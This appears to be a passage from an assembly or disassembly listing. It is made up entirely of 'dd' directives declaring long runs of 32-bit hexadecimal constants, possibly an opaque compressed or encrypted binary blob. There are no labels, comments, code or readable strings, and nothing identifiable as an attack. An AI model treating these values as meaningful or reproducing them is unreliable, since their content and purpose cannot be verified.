		dd 0D5522E6Ah, 0F7260651h, 609E8E87h, 0DABEF204h, 2E40AD63h
		dd 0E4535008h, 8402DFB0h, 1F5433D1h, 0B03060F5h, 410409D7h
		dd 204025C7h, 740380BEh, 8E54FD50h, 5E93E898h, 276001Fh
		dd 42ABE116h, 312EAA0h,	38408D44h, 37A530C9h, 0E5D10077h
		dd 0B325496Ah, 889C5BF0h, 2B861B00h, 1639B17h, 59D8553Ch
		dd 0C05B5E73h, 0A5004479h, 1442025Fh, 0E3FDDEh,	2FA36103h
		dd 4956E207h, 0EE787C03h, 85E18428h, 6F6BBCC1h,	0D54100E2h
		dd 15133914h, 848105D7h, 9AF7DED4h, 17C720A4h, 670132DDh
		dd 84759569h, 4080A8C5h, 0B3A013C0h, 0CB01A71Ah, 0DC6956A2h
		dd 0B450F220h, 18C9F31Fh, 103A9499h, 0A0002554h, 0F8DA88FEh
		dd 0B2ED3150h, 412F3A7Ch, 839C831h, 0F0ED213Ah,	95003139h
		dd 0A2BB5216h, 0C0855599h, 0CD7D2B30h, 0FB007C54h, 3C8B60E8h
		dd 1FA479Eh, 243836B9h,	0F4F72FDBh, 3B7887B5h, 282CED00h
		dd 0CC806162h, 0F760F1F8h, 3C063C21h, 8487FD03h, 951F44h
		dd 6ECB2B8Ch, 0A400A665h, 9EE23EB6h, 1EFC6B5Eh,	80C36CDDh
		dd 0BFA02EE9h, 0D002B58h, 0E0C74EF5h, 0E509F464h, 57BD20h
		dd 0DF3272C8h, 6BFE7493h, 0BEFAF50Eh, 41D78CE2h, 2F5800DBh
		dd 30BBFC57h, 80A06011h
		dd 2609BECEh, 0EBB6D474h, 5BEF71Ch, 1C097F9h, 0A5E85ABh
		dd 5B840A7Ah, 38C728F5h, 8003341Eh, 0A88B6638h,	7EEE91F0h
		dd 0D553FA0Eh, 5C512022h, 755F83h, 0EC6DD707h, 322B641Fh
		dd 38BCC424h, 9D337780h, 90EFC902h, 0BF0E0400h,	0F0783A0Ch
		dd 2B245BB4h, 2F0100A9h, 7F89DB59h, 12EE4h, 0D80FFA48h
		dd 0CEA39EE0h, 0D03A1F00h, 69FF7F0Bh, 6F700C4h,	4041108Fh
		dd 9A16F3B5h, 0DC5C80E1h, 30000C97h, 822CE304h,	0DB9F004Eh
		dd 7E3F35E7h, 1D78E9EFh, 3EFADC3Fh, 8DF80F4h, 8BC9CAFCh
		dd 1BE00092h, 0BCE37A63h, 8307908Fh, 0ABE4373Dh, 0E135D680h
		dd 9A4100A7h, 0A110B497h, 95489960h, 3F6C386Dh,	0C61FA485h
		dd 68AAF100h, 69F337h, 8C7F624Dh, 0F51E851Ah, 26B6DF00h
		dd 9A966C11h, 9183035Dh, 7FF0093Ch, 60CAACB9h, 2B00D666h
		dd 0B055221h, 529964Ch,	0F50281B8h, 0EBBF14D9h,	5F6A0376h
		dd 62B9E918h, 41A852B0h, 0F939AE1Dh, 0F882C14h,	72ADCAF3h
		dd 0B4C2ECC0h, 0F43360C8h, 27A74A04h, 0DFA5A800h, 0D009E1BFh
		dd 70C769Dh, 16EEB01Fh,	7BC02FAEh, 0B2E76E27h, 7D0381FAh
		dd 0BD47F786h, 1B2588C1h, 5C114D13h, 48535200h,	0BA3E674Fh
		dd 0C0208D01h, 4A08FD86h, 10CA6E0h, 0CB52ABCDh,	4B10031Ah
		dd 0A0ED00FCh, 191F93C6h, 0F57ED3h, 0C35FF3BDh,	4423578Fh
		dd 0D27C4E00h, 97913A6Dh, 9E1B2D75h, 6A8F9C02h,	0C02EE055h
		dd 0A89466h, 52DC5EF1h,	0B85CB7AAh, 9C3400D0h, 85B47C0Ch
		dd 1AE92D81h, 2900D3D6h, 9E4D36A3h, 1B0CAh, 0B4FC9821h
		dd 0A4901DCEh, 7296A02h, 60E0416Ch, 0D82D70h, 0BA166E34h
		dd 800AB432h, 59F8FE07h, 46B14ABh, 0B0C01DDEh, 0AA7DC7h
		dd 0FF328A3Eh, 2E6DA3D1h, 4B4614Ch, 9243D46Eh, 4E00E1F8h
		dd 0E3CE3758h, 71728380h, 0B0E9FD2Ch, 0C6A7D000h, 9724EBBh
		dd 2CF826BCh, 0FF94C800h, 97000657h, 0D65FE592h, 485C05A8h
		dd 0EB248856h, 8A2400E0h, 0DEFFCE64h, 2B9F5100h, 83A69DBFh
		dd 7A97074h, 0EA98405Fh, 868E103Bh, 341CAA20h, 2B4042C9h
		dd 72B0081Ch, 35530904h, 408063BEh, 4BB454FEh, 6C2B4000h
		dd 514296DCh, 0DD180794h, 0E43036h, 0CD4EC54Ch,	0CCBFF91Dh
		dd 924DD500h, 3868410h,	384CE1B6h, 8B811803h, 0A915D8BAh
		dd 1E00EB7Ah, 0A2CAB6A7h, 1E3A69Ch, 2D2A1332h, 80120BE1h
		dd 0B6DEBF0Eh, 775DF1F3h, 163DB0AFh, 34A11Bh, 47F84D8Fh
		dd 0D0B07B0Eh, 56BEF00h, 13A2A6EEh, 1A1900A4h, 0FEDC1480h
		dd 95003B0Ah, 8D25D84Fh, 1110B6h, 0AE4ACB08h, 78224B67h
		dd 98F8F000h, 33B43B27h, 6E1A002Ah, 6D4181B3h, 0D53AADDBh
		dd 0A9ED8F24h, 33478077h, 72C69h, 32D31F4Eh, 0E3D77F0Ch
		dd 37A319C1h, 0AEE9EA19h, 1D42AE0h, 0D0E6D867h,	20A4CE81h
		dd 0A87CFA9Ah, 0F3FCD100h, 680CB064h, 0C3BD005Dh, 9F408339h
		dd 0ECCCB87Bh, 0F2EF49AFh, 7E9B009Dh, 0A9F50FC6h, 235B1B3Ah
		dd 0DB1C6FB8h, 43D7413Eh, 20F171C2h, 2D0005ECh,	0A05B6AF0h
		dd 0D33591h, 2B1A1E19h,	0A54FE394h, 11D8CA00h, 0FF8B5EDFh
		dd 363C00F5h, 0D986708Eh, 0BF8A769h, 0BC3DF217h, 0D73F2900h
		dd 74074BD8h, 4470C02Bh, 0D462383h, 0B60FBD7Ch,	0A38629CDh
		dd 0C20224A4h, 1AAC38Eh, 2D03C410h, 70456DDBh, 0EC0059B0h
		dd 9711274Fh, 3EAF07ACh, 0EB87AA0Eh, 11DF309Eh,	0E0BC4271h
		dd 8500B7D1h, 7E43F380h, 1C728C0Ch, 80BD5A4Bh, 0D76EED65h
		dd 6D00C08Bh, 20BC5B71h, 1DC92DAh, 174B128Dh, 0E2D19EF2h
		dd 0C15B90A1h, 1AC0C75Ah, 6B0005C2h, 45126418h,	1F60C8h
		dd 8CCBBE79h, 0C5ED495Ah, 5D85C701h, 229EE790h,	387A81F0h
		dd 21001512h, 0C81E9D79h, 0CA00DDF8h, 0BDDB733Ch, 1697B45h
		dd 0D588857h, 30303175h, 0F100AFB2h, 0D8546DD9h, 6FC4EEh
		dd 0DF3847BBh, 0D2DD8731h, 8412370Dh, 88602A5Eh, 5C59E2E8h
		dd 0D930531Eh, 0EEFEC4C0h, 7F70E601h, 0B99E12ACh, 397C6E0h
		dd 3F26BF43h, 0E83A8341h, 8D5507D8h, 0EED157ACh, 10243506h
		dd 0C8A4005Dh, 511AC944h, 3C2ECD99h, 0BE00096Ch, 0BFE5D4E3h
		dd 15A70103h, 4D27511Fh, 0DC80D234h, 76C336FFh,	0AC4624h
		dd 23F65780h, 0F294BFh,	0B107E30h, 0C033A5E7h, 4EC2000h
		dd 4CB63801h, 998467E1h, 3557C077h, 0A53BA3AFh,	0F8450428h
		dd 7BC04668h, 0CC3E6E0h, 75EF36AAh, 13003E30h, 92B0C674h
		dd 3CF248h, 570FEB21h, 0CFF5FB7Eh, 0B022613Bh, 64F061D7h
		dd 6104EE79h, 1F07416Dh, 0A3C7471Ah, 282481FEh,	31002C6Bh
		dd 623C8BBEh, 0CED03D9Eh, 0C6E0306Fh, 8F2605F1h, 1600B4ECh
		dd 0FAAE29ACh, 156977h,	9E78737h, 432CB06Eh, 5AE6B600h
		dd 4C073C18h, 7BA200C4h, 63FE1526h, 8F00F79Bh, 99F84754h
		dd 3AE5D6D3h, 200AA0Bh,	35AB1443h, 4EF2717Ch, 840CA70Eh
		dd 21B09CB9h, 349365h, 0DC46274h, 0F5E5D95Fh, 3309BF00h
		dd 0C0A151E6h, 0B48130EAh, 8C3BAE30h, 4564E00h,	2F390186h
		dd 0DAB0008h, 34323D6Bh, 0E003AF82h, 6D59717Dh,	1F40773Ch
		dd 3DCEEC4h, 0FD41FE99h, 3EE0BEA3h, 0D603B5A2h,	0EC1DCC7Dh
		dd 0D9211BE3h, 0A0603843h, 2AB61378h, 0CC40DD36h, 0DC992E34h
		dd 4E11430Ch, 90A22977h, 0DBB700A3h, 93C2819Dh,	0BE89E84h
		dd 0E92121C0h, 1EF672E4h, 0C003F77Dh, 1376D530h, 7C06B698h
		dd 0C39A952Dh, 6B360079h, 1D3D6704h, 4535A1C7h,	3A180850h
		dd 0EAE78420h, 5FFE13D9h, 7C4502B5h, 0ACA0A4F8h, 0DF77C8D7h
		dd 5BDAC100h, 0D236F710h, 3C09F22Eh, 70EC543Ch,	0C440D680h
		dd 0CE85Bh, 0FC2365F5h,	0C7C053A4h, 0EEA90D01h,	0AAEDF381h
		dd 45ED8DDh, 4B0C55C3h,	0ACA41000h, 0FA0E62A0h,	34EC0096h
		dd 0A2DF324Fh, 0FB3E011Ch, 9C080023h, 0D6161D5Ah, 3E66F8A0h
		dd 0A022119h, 158B36E8h, 69E92C80h, 51C2A334h, 2B3573EEh
		dd 0F62A02FDh, 8F1440EAh, 0CB550015h, 0DECD27D6h, 2A0F986Bh
		dd 8095BA33h, 0DBEC318Ch, 0AED906C6h, 60DD341Ch, 60DCE528h
		dd 6A8E220h, 1815099Ah,	0A60058EBh, 40CE949Fh, 1433142Ch
		dd 70AFDF6Fh, 0A10484h,	58520B98h, 0DDB206A6h, 0E815765Ah
		dd 11A8020h, 5C313BA2h,	0DCEE9F0Ah, 0E122A136h,	2A2305D9h
		dd 33D860BFh, 0CEF0734Ch, 2703C242h, 234A1AA7h,	70A80F48h
		dd 94D41459h, 0DE96FB80h, 0A8C12D31h, 44ECA44Eh, 0C5BF3885h
		dd 0D1F42BD9h, 0A6C0EA04h, 141A5596h, 0B80F5D28h, 68B4D000h
		dd 0ACC4DF86h, 0EA5004B9h, 809D1523h, 0D6B1404h, 0D00A5903h
		dd 2189B522h, 27088828h, 8417909Ch, 94445F07h, 2C7044B6h
		dd 0A2427348h, 0B8502241h, 228E7922h, 1000FE3Fh, 0F08699E5h
		dd 510700E9h, 4A7AEB80h, 0CA00135Fh, 0A340ADC4h, 0FE3CBF0h
		dd 2A9579F3h, 0B13963A0h, 4900F6EAh, 0F1849075h, 19C26C1h
		dd 0C4EBA7Ah, 0F0687DF3h, 0BC07F66Bh, 0E9716045h, 74099D80h
		dd 7DA738FBh, 0FA949680h, 1D976BCCh, 102A9B01h,	5465A101h
		dd 128C6520h, 0ABF6AB51h, 4AC42E00h, 7324Ch, 48BC3781h
		dd 848DA75Ch, 0CF10F350h, 963B6F00h, 0B537115Dh, 0A4700C2h
		dd 7AAE80EDh, 770159CCh, 136F21D4h, 88056A5h, 417517A3h
		dd 0BC1CDE04h, 3F009FBBh, 0B37CFA1Bh, 509A60F4h, 71EAEDE0h
		dd 101C2C20h, 9CB6595h,	103D43h, 9FA755E1h, 332F00A9h
		dd 1923FA0Fh, 68006C71h, 0AE1599BAh, 0F5EA891h,	0BF8CF863h
		dd 9CCAFFE0h, 40035B22h
		dd 1475DC9h, 4C2AC021h,	0A9BE3DBAh, 4F49B780h, 16D95CFCh
		dd 5D6EFD00h, 5B7695CCh, 0CB9F00A1h, 85B1D29Bh,	500022B0h
		dd 7D01D883h, 2F8A5CDh,	0AC0FA8F3h, 93801CF2h, 0DDFD6CBBh
		dd 3B168300h, 51D657B3h, 0C99C026Bh, 5ABD7D04h,	0D5A49480h
		dd 0C1E2E292h, 0FDB2DB00h, 0ACC097EFh, 376F5C4Bh, 962C8D00h
		dd 1B82B40Ch, 26BB5900h, 8B1BCAFh, 0D29300F5h, 2F4A3B4Dh
		dd 6BE2D686h, 765B9602h, 0DD50CA2Ah, 0C0732C05h, 97FCC25Eh
		dd 855F8C00h, 2E3C701Ah, 20372AB5h, 902F18D4h, 9DBEE8B4h
		dd 0C056C300h, 0E998822Bh, 95F11F52h, 383B475Dh, 8DA5DEh
		dd 0A11674D0h, 3300AB3Dh, 0A9413A8Ch, 3775C85h,	7323EBB1h
		dd 1388F4BBh, 8D50FE4Eh, 5300BFCCh, 97C908E6h, 676DFB04h
		dd 0BF0D1890h, 0FFA2EB40h, 0F6E23A6Bh, 0E405C300h, 9CE73FEFh
		dd 77DC1DBAh, 19D0C30Fh, 81C45B2Dh, 0ECB7117Dh,	9D003E78h
		dd 9864865Ch, 0F01A635h, 60585923h, 7027BA07h, 0FED15603h
		dd 45CF8200h, 75118EECh, 0B6BD1EEDh, 0BE710030h, 0E27860A5h
		dd 0C8417431h, 6060CDD7h, 0D8FCCCh, 0DD6894ADh,	752A7A64h
		dd 4E439F00h, 66C3D319h, 0E5E6CEh, 5EECFBBCh, 0D9DA537Dh
		dd 0D7EAC703h, 0C80597A1h, 9D8910h, 54CCDFB2h, 0B1A2F167h
		dd 0DA253407h, 6407B04Ah, 32A64300h, 8944013Dh,	0FDE954C2h
		dd 0C0A85426h, 95350F98h, 83459700h, 0B88180F2h, 85A300E3h
		dd 0F9C03DEh, 2A00CB7Eh, 24F71BA6h, 2EB5B3h, 0E8D8B674h
		dd 9536ED6Ch, 0DFAFB800h, 0C2D7D2EEh, 7F7803C3h, 0D83370F6h
		dd 1C294FA8h, 0F96C7600h, 0B33A4D9Eh, 504C00C8h, 0CE750873h
		dd 9000F67Ah, 1C5E7840h, 0FFC5709h, 0BB38B356h,	9A0500DFh
		dd 0AD31CA7Eh, 0CAC3400h, 0B5D48458h, 19F30194h, 0C0511AF7h
		dd 4CC53E67h, 5B00F1A8h, 6893E48Ch, 0BB00F3FAh,	8DD2160Ah
		dd 137F8DBh, 649EF176h,	0F4CF5FD5h, 7A00CD42h, 9BA9727Fh
		dd 48651251h, 551EEDF0h, 0DE93417Bh, 0E23E9511h, 1672C4C0h
		dd 0F1E2BD0Ch, 0C91189h, 0A217EEF7h, 9551BFF9h,	6DD1C000h
		dd 8491619Dh, 0E2F415h,	338EE99Fh, 9A554AF1h, 8C4E341Eh
		dd 0F2370600h, 0FE319EB7h, 8413D7Eh, 5715AB89h,	1041200Eh
		dd 206CF3B2h, 0B404CD39h, 1B847D85h, 0F13C30C0h, 0F31803EBh
		dd 23EE05A2h, 0CE9B9998h, 0E15DFF00h, 8E2A8ABAh, 0F8C101B7h
		dd 6BAF3025h, 2C20209Fh, 0F188B807h, 57A0661Eh,	0A9B446h
		dd 0ADC78CCFh, 0A5218992h, 7658FA78h, 3BE0016Eh, 39F41D02h
		dd 7DD90430h, 0A7CB1CEEh, 0E94600F8h, 5406C95Ch, 2000ADE6h
		dd 14F0DCF4h, 3CB971h, 477B9E6Dh, 2767557Fh, 9F954F00h
		dd 89F5A0ECh, 99E8ADh, 47FC661Ah, 8E88C2EFh, 34C45600h
		dd 971416F0h, 1DD37B24h, 0C089F8F2h, 0D1515886h, 2300F733h
		dd 6440B442h, 192BD24h,	205BD8BCh, 3143EB4Bh, 0BEF1408Ah
		dd 6C00FBB6h, 1121BD2Fh, 98F4839Bh, 57F43Ah, 72D11636h
		dd 4E3D5EB3h, 0F980960h, 0C35DB6h, 0EFD46995h, 0E004828Bh
		dd 3FC19C01h, 0FF13545Ch, 0FBF98C40h, 4F3D004Ch, 1070A89Fh
		dd 0EF0089DDh, 0DBB33E50h, 2C9BACh, 6A201538h, 293AB560h
		dd 0F77B5700h, 0B1C5FF89h, 11E06040h, 12242809h, 953AD498h
		dd 236280A1h, 2E2A17ACh, 0F8316093h, 0A4864F8Ah, 3B151324h
		dd 3874ED00h, 30721CD7h, 0C61171D8h, 8F007E9Fh,	1059D4D9h
		dd 0DD1EB10Ch, 4FCA8340h, 4D808AF2h, 0D878415Eh, 0E7C73Dh
		dd 0C1964813h, 1F74623Eh, 43F61910h, 0DD5476Eh,	5F719888h
		dd 0BB378300h, 3EC9AB8Fh, 966000CDh, 0EDC2C8E7h, 6726C7FBh
		dd 20013D49h, 7A669C2Fh, 36E1E0h, 0CE6FB902h, 3551844Bh
		dd 8B440500h, 9050D96Ch, 29DB5C3Dh, 0FA24C900h,	0DCD87EA7h
		dd 11729900h, 8E69D188h, 895E4855h, 6296B800h, 16EA39A9h
		dd 48AF3Fh, 752853D2h, 797368h,	0FAC9A8FDh, 0CE04FF9Eh
		dd 5D1C7EF0h, 8453D1A1h, 0B4C0C600h, 0AE9A21h, 44996062h
		dd 0BFD04C23h, 7AAF8B00h, 163D831Fh, 9E4B029Ch,	0F9939D59h
		dd 2EE2E0C0h, 0ABF0C500h, 7CB48FF3h, 0AC690007h, 5363CB14h
		dd 65001A9Ch, 0E164D5C6h, 1ED6271h, 79ABAFC1h, 60B4F806h
		dd 0D275BE83h, 5E9E5A1Dh, 65CD4EC0h, 389954EDh,	0C58096BCh
		dd 69021EC9h, 0D3F28623h, 553FCF76h, 89B38024h,	5BA3E7EBh
		dd 79BA0083h, 48446659h, 0F075C6D8h, 17213600h,	398F43C2h
		dd 0D918056Eh, 0C03D9AAFh, 0F7A8E96Ch, 5082D200h, 0F46F7424h
		dd 764E03D0h, 63B114CCh, 51DD7E98h, 8AE9881Fh, 0CF4F4CC0h
		dd 0F2DC81h, 0CD96E8BEh, 99F0DFC4h, 5E9BAB07h, 388793D9h
		dd 60C2BB82h, 3FCC4E18h, 1C73CE8Dh, 80312DFDh, 8414B72Ah
		dd 0EA3924BBh, 0FD90042h, 0F9F2B973h, 0CCB075h,	0ED97A683h
		dd 3F37B6FDh, 72E90D00h, 4CCF5292h, 9AB1009Dh, 0F45B6693h
		dd 0FA67804Fh, 6AA091F8h, 26C8EAh, 0B4EE205h, 0F7B16179h
		dd 0FEBD7F00h, 84A45765h, 0E36900CDh, 0FA68292h, 0AD0E58E7h
		dd 0DC4B67h, 4F24578Ch,	0AE130081h, 2DB2599Ah, 0F600FC07h
		dd 1261D14Bh, 1C436CACh, 440B40h, 0A4D62B6Fh, 0EB7B9005h
		dd 68D39C00h, 7241A657h, 0E966385Dh, 263CA0CAh,	1C6007E0h
		dd 0BCC71529h, 6EDA030Bh, 0C880E0B3h, 0E39A5990h, 294C5101h
		dd 42DBBF3Fh, 341B4881h, 80B84FC0h, 68037859h, 1DC9C391h
		dd 0E4FCF4E2h, 0BF7C8054h, 0A44B222Dh, 0B6925005h, 2280E1B7h
		dd 0E6866D14h, 0A0D1E9Ah, 0D060C054h, 7A653C31h, 81FA9C00h
		dd 8A474661h, 58BA00C5h, 1F85DE18h, 0B2005C8Fh,	0B3499531h
		dd 9842D821h, 2AC900D5h, 6D1317BEh, 4500406Bh, 239DC1B5h
		dd 0E64B365h, 9459488Eh, 344AEC00h, 0B4042A3Fh,	9ED198FAh
		dd 0D61501C0h, 47C00077h, 67B7F368h, 0E097A4EFh, 6BEDF2h
		dd 4670E99Dh, 7E5D4319h, 0DD4C5C03h, 0E8BD9E3Fh, 1EECEA91h
		dd 80708A31h, 99E19AACh, 9C014E7Eh, 0E575222Fh,	74242BF2h
		dd 0FC1BE2CFh, 4413038Bh, 0E5B6F510h, 68F8F0EFh, 38C00D47h
		dd 2546B506h, 4D6201D6h, 3D1B80C6h, 553FD0A1h, 0D9B25400h
		dd 9FC5F1D7h, 0E59BA092h, 77397A4Ah, 3A8E3C1Eh,	53104781h
		dd 0DF6381B2h, 430BE0F8h, 0E6951D00h, 0EE6F3BD1h, 9374029Bh
		dd 0BB756198h, 7BE7AC80h, 0A8002077h, 0D8639C4Bh, 745A8A64h
		dd 2832EA54h, 0E7781Ch,	70E8AE94h, 560BBBC1h, 7F2A5A00h
		dd 0EEE9D68h, 0AA54005Bh, 4F6C32F4h, 0C3009E7Bh, 0D49E2AFh
		dd 3F75105h, 0E4B14EFBh, 46B8D25Eh, 0F0BDF35Fh,	4B600786h
		dd 0D0655159h, 1ADDB4CBh, 5466BA01h, 0C6ECAF0Eh, 0A52082EDh
		dd 49D60A16h, 841442h, 0F4FCE6FFh, 0D40F7FA3h, 1F53FCEh
		dd 0AC11F9ADh, 0EA3CD0h, 9EAF17A2h, 83218CB1h, 80B8633Fh
		dd 501E2975h, 0E8E1E93Fh, 1DF10037h, 0D00269A8h, 7FF808BEh
		dd 0C7EA770Ah, 0A500D026h, 0BCA4D2DEh, 767D8069h, 80734F3Fh
		dd 661DF7D7h, 3E9EA8B8h, 0EA001527h, 0C6F254E2h, 387B0677h
		dd 0BC4A903Fh, 5EDE13CCh, 3DF62800h, 390E1Ch, 0B6A07A3h
		dd 3C240AF1h, 49A3400h,	0BF118CD8h, 0D42C5044h,	737B0FA4h
		dd 0C300595Fh, 52ED6160h, 0D50036E8h, 5D648120h, 3EE5B7E4h
		dd 4C161B99h, 0E48F1D7Fh, 7C120ED0h, 8FB7B300h,	0F7005C5Eh
		dd 9FB561E6h, 1340100Ch, 85644Fh, 4A76A59Ch, 7B00AE9Dh
		dd 448DE20h, 21FAD9Ah, 34436437h, 0C080182Bh, 0EC560F9Eh
		dd 0EE25Ch, 850A49D1h
		dd 0CF8B2Ah, 0AAB814F7h, 51945A1h, 187C1E01h, 0C0323C02h
		dd 2E29D0DBh, 0C5EC0338h, 0F52139CAh, 9F6E76D0h, 0AFDA581Eh
		dd 0B3EECBh, 0EDBBA794h, 6F0200DFh, 8FFF263Dh, 0FA0B4608h
		dd 80628256h, 921C336Ah, 0DB400F58h, 5234A0h, 0AB43D00Ch
		dd 0D548B350h, 5E820779h, 0C190D264h, 14A76873h, 0C85B630Bh
		dd 5992C500h, 9EDEBB72h, 8014C00h, 4A68E725h, 31BF003Bh
		dd 0F171DF6Dh, 0A200958Bh, 4D401753h, 87D54Ch, 31ACC73Dh
		dd 0CA770E4Eh, 0E9FFB103h, 0E0ADB098h, 0C075Bh,	0CFE76B1Bh
		dd 52B1E34Eh, 0CDD9FB12h, 92C0101Eh, 0B9FFD1DDh, 7F0985Bh
		dd 0B1AFA359h, 40008998h, 771BAB53h, 0FB0D3E07h, 8F20D4B6h
		dd 14FF61h, 84C8BA3Fh, 3E954C6Ch, 984264Ch, 0C42D21h, 0AE7C9914h
		dd 5EE9C76Dh, 0B6E69026h, 5900BE36h, 0FE3FF9BDh, 7F4F16h
		dd 656188B0h, 910F8042h, 46303700h, 6BC9CCDAh, 285133C5h
		dd 9FA11110h, 80802120h, 354CF010h, 4D256BAh, 856FA07Ch
		dd 4528819Ah, 57DFC0D1h, 0CA7A6100h, 8D4CC2FCh,	6EC53CE4h
		dd 97A56900h, 9889490Dh, 900CE7Bh, 7A482F42h, 5A54EEh
		dd 4156C457h, 0F60B0A83h, 90C51D17h, 0BC757000h, 8F61D9h
		dd 365B9FEAh, 6E7FAD9Eh, 1876EB0Ah, 6A01F48Ah, 5C9F756Dh
		dd 0ED81B900h, 2FEF1B00h, 9A43162h, 0ABFB0039h,	15B01FA3h
		dd 640003D2h, 0F0127FCh, 1DA77Fh, 0F3229851h, 4CA3A4AAh
		dd 211B9B2Eh, 0D5CBC407h, 9804F47Ah, 0AA221286h, 259C0340h
		dd 0F3DD90A0h, 92849000h, 6411A9A3h, 72961FEDh,	6F80FBC3h
		dd 3557A65Ah, 0BB00BF86h, 1DD48089h, 9E9BC0h, 7383B4A3h
		dd 12C510FBh, 20553603h, 0C6F31C8Fh, 414E00D8h,	61B271EAh
		dd 62729369h, 503D9C00h, 0BE11363h, 0D490BEh, 60F93BEDh
		dd 788336D7h, 3A383500h, 0C88D14ADh, 0DFBA0074h, 0FDBC16A6h
		dd 5200C1D7h, 0EB09E12h, 0DC304Bh, 0F20B8022h, 58DB4FD3h
		dd 0E7275100h, 60AA3408h, 0CD690182h, 78F011B5h, 0A09130F6h
		dd 0B050B21Dh, 0AA871AC0h, 5EB61F9h, 9CC93CF1h,	0B900FE10h
		dd 7E3B32D0h, 77917E7Ch, 0C49050h, 25856A09h, 0E665C203h
		dd 5C8CF317h, 7CA69F00h, 1F773BEh, 7687EAEh, 80765B8Dh
		dd 42CB1B10h, 0E7B691h,	0FB01B556h, 0E61575A6h,	0E4985Ch
		dd 99897F59h, 3F148023h, 0F40034F5h, 7B2209Dh, 0D600F837h
		dd 6092AFA0h, 91D335h, 4C7ADB7Eh, 44E345ACh, 98864F1Eh
		dd 83829CC0h, 48A3E5B3h, 6D003008h, 0D63952E9h,	0D82E0DADh
		dd 3C28E737h, 3802F30Eh, 1AF78272h, 0E09CEB0Bh,	0ED9E12Dh
		dd 11B2554Ch, 12E438B8h, 0D820A561h, 0C3F4B065h, 3D1400FAh
		dd 0CFEA84DBh, 7F4899FBh, 60E0C06h, 0A8B2609Ch,	0FCBD673Ch
		dd 0F0AF60C5h, 342071Eh, 299015E8h, 89F1A28h, 10B3F300h
		dd 2A0DAC27h, 0DCBB0CD8h, 9D385BDBh, 500FDE75h,	0E7FEAA58h
		dd 1340CA44h, 281BBF45h, 5030D985h, 0FF1689Fh, 93D5396Ah
		dd 9927CA6Fh, 7EDC108Dh, 0EB00B57Fh, 60C75732h,	0BD855Fh
		dd 6CC5BA11h, 2F1F4ED9h, 2B8CB302h, 4870B64Bh, 44B5D8h
		dd 0CE169A6Fh, 82CF97E7h, 0F0B3130Dh, 5AF4204Bh, 0B15E60E0h
		dd 95FA1A43h, 861BB61Ch, 80003696h, 0A433031Dh,	68B9309Ch
		dd 0ACA7959h, 5E344700h, 965A34Eh, 6E0E002Bh, 8827E748h
		dd 0C2004311h, 3093CB54h, 1F269159h, 7A7D5Bh, 0E4E31B04h
		dd 3039B45h, 9321AA16h,	1528003Fh, 0CBE7135Dh, 172808Bh
		dd 0C789624h, 21433300h, 3DD732h, 0DF65C6D4h, 14665E88h
		dd 0E9DCC1C0h, 46755Ch,	3D520C3Ch, 0A81361CBh, 4ADAF02Eh
		dd 0C01ABD0Fh, 0D496B931h, 0B5E73AFBh, 0F0AA200h, 8C1A155h
		dd 3207AEE2h, 31F6AF92h, 0C8A35440h, 0A68A00CBh, 0FAA5F2EAh
		dd 88001D2Ah, 6AC331A2h, 3C65CA07h, 0B183794Dh,	0BF1C21E8h
		dd 0CD554ED0h, 62E44B1Eh, 8CC42080h, 0E82F7A3h,	0E2564238h
		dd 0CEF2F800h, 0D0F96019h, 20C0A513h, 0C1559CBFh, 689400B8h
		dd 0AFEE1009h, 0E7010C52h, 167EE490h, 8AF0055Ah, 3314F895h
		dd 0A018DC67h, 1D91E1h,	0EFDB0D24h, 7CD15F03h, 88F17098h
		dd 68D8E037h, 0B9218381h, 18234280h, 6BD30E8Ch,	21C0DCE8h
		dd 2FB92965h, 37DF00FBh, 6F125B02h, 105CD97Fh, 50210630h
		dd 1BD998E4h, 384F0B87h, 64E125C0h, 0E527BE00h,	54F9B17Eh
		dd 50F32A10h, 1254688h,	0FF2F559Fh, 1D0CF4B0h, 3EA9DA88h
		dd 0A4800A56h, 8C9ACA62h, 0AF00CC95h, 0F77F7189h, 0DE6596C6h
		dd 0E3BFC998h, 0CA0C2800h, 0D3B8C5B9h, 985D5000h, 6EEE0B6Fh
		dd 9D5F3E88h, 0AE1503F7h, 0F97D8B29h, 936BE2C8h, 9203D374h
		dd 65DBCBDFh, 0A42E8802h, 25E933D7h, 21006808h,	162312Ch
		dd 7F9EC23Bh, 1041013Fh, 83A11FBAh, 90E6C0B4h, 0E269F400h
		dd 5C6CDB04h, 246A0078h, 6BDF93F5h, 9800C782h, 37BC0A94h
		dd 0C6C46380h, 207A9A08h, 98012300h, 6953ACE8h,	51DE0085h
		dd 91E2A177h, 89C06BF9h, 0D2D966EEh, 0D8880067h, 7F102CA6h
		dd 771812F9h, 5B18DADDh, 0E96318DBh, 32E288A2h,	0BE0014E0h
		dd 0E6607F13h, 0E85E16FBh, 0E521C72Ch, 0F0A0E767h, 0B0CB277Dh
		dd 6622590Ch, 0AE2988Eh, 8C04A693h, 46D9419Ch, 0E035216Ch
		dd 0DD00A1EEh, 2F3A7147h, 7906A1Ch, 1831F239h, 0DA138015h
		dd 4C0001AEh, 0F13F9AF3h, 71A796Ch, 0E72B9EACh,	0B2D3602Ah
		dd 52790A67h, 0FFC9550Fh, 0EB1EA0D9h, 0E8741102h, 6CCC0037h
		dd 0DCCE7A72h, 290C9A77h, 0D8988799h, 198F00A7h, 586AD9E9h
		dd 3403F317h, 0CD99B9BFh, 72B38827h, 0ADCE5D7h,	0B8400387h
		dd 2270F606h, 4393609Fh, 6001E25Fh, 5CDE6910h, 0AB40D024h
		dd 6C614Eh, 8A358085h, 0EB0E56C2h, 0AE041600h, 7766E15h
		dd 36261E64h, 63C603BBh, 9380F6F8h, 0C53F51CBh,	0B78A809Ch
		dd 0C755AB90h, 69FA0082h, 0C2BC7262h, 0AF00E78Eh, 59605DCFh
		dd 0EA067F9h, 81647FA4h, 4AF6B940h, 0DC1FE50Eh,	0D5007DA6h
		dd 54491165h, 0E998E4h,	0B696BBFCh, 4691B88Ah, 0A8D6DF00h
		dd 7B3CD299h, 9DE300B5h, 90DC1863h, 6D0E557Ch, 0BDB3E0h
		dd 4E15BEFFh, 76FA0065h, 0AC57D2BFh, 774718Fh, 73DC9000h
		dd 7CA89555h, 8EED3A4Fh, 3FC18200h, 0D1ABE49h, 4EB00900h
		dd 91FFA60Ah, 0BF0B01FBh, 6FA81FD8h, 0B33DDCE4h, 0C325EA24h
		dd 0B700B020h, 5427D4ACh, 3D360D0h, 0D25BB867h,	24AAF45Ch
		dd 88BBD4C1h, 9CD5BC28h, 8010A27Ch, 0DB21F165h,	90C6E208h
		dd 60308498h, 7B418748h, 94019969h, 632311BDh, 0C111D312h
